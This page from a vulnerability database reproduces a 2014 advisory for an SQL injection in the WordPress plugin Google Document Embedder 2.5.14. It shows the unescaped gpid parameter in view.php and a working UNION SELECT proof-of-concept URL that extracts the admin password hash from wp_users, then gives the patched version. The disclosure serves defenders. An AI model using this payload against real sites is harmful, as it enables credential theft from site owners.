WordPress Plugin Google Document Embedder 2.5.14 - SQL Injection
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2014-9173 | 2 Dec 201416:00 | – | cve | |
| CVE-2014-9173 | 2 Dec 201416:00 | – | cvelist | |
| WordPress Google Document Embedder 2.5.14 SQL Injection | 25 Jun 201500:00 | – | dsquare | |
| WordPress Plugin Google Document Embedder 2.5.16 - 'mysql_real_escpae_string' Bypass SQL Injection | 3 Dec 201400:00 | – | exploitdb | |
| EUVD-2014-8998 | 7 Oct 202500:30 | – | euvd | |
| CVE-2014-9173 | 2 Dec 201416:59 | – | nvd | |
| WordPress Google Document Embedder SQL Injection Vulnerability | 28 Nov 201400:00 | – | openvas | |
| Sql injection | 2 Dec 201416:59 | – | prion | |
| Google Document Embedder <= 2.5.14 - SQL Injection | 25 Nov 201417:23 | – | wpvulndb | |
| Google Document Embedder <= 2.5.16 - SQL Injection | 3 Dec 201411:56 | – | wpvulndb |
# Exploit Title: Google Doc Embedder 2.5.14 SQL Injection
# Date: 10-11-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/google-document-embedder.2.5.14.zip
# Category: webapps
1. Description
$_GET['gpid'] is not escaped.
File: google-document-embedder\view.php
if ( isset( $_GET['gpid'] ) ) {
if ( $profile = gde_get_profile( $_GET['gpid'] ) ) {
$tb = $profile['tb_flags'];
$vw = $profile['vw_flags'];
$bg = $profile['vw_bgcolor'];
$css = $profile['vw_css'];
}
}
So we control $id.
File: google-document-embedder\view.php
function gde_get_profile( $id ) {
global $wpdb;
$table = $wpdb->prefix . 'gde_profiles';
$profile = $wpdb->get_results( "SELECT * FROM $table WHERE profile_id = $id", ARRAY_A );
$profile = unserialize($profile[0]['profile_data']);
if ( is_array($profile) ) {
return $profile;
} else {
return false;
}
}
http://security.szurek.pl/google-doc-embedder-2514-sql-injection.html
2. Proof of Concept
http://wordpress-install/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0 UNION SELECT 1, 2, 3, CONCAT(CAST(CHAR(97, 58, 49, 58, 123, 115, 58, 54, 58, 34, 118, 119, 95, 99, 115, 115, 34, 59, 115, 58) as CHAR), LENGTH(user_pass), CAST(CHAR(58, 34) as CHAR), user_pass, CAST(CHAR(34, 59, 125) as CHAR)) FROM `wp_users` WHERE ID=1
3. Solution:
Update to version 2.5.15
https://downloads.wordpress.org/plugin/google-document-embedder.2.5.15.zip
https://plugins.trac.wordpress.org/changeset/1023572/google-document-embedderData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Nov 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.05021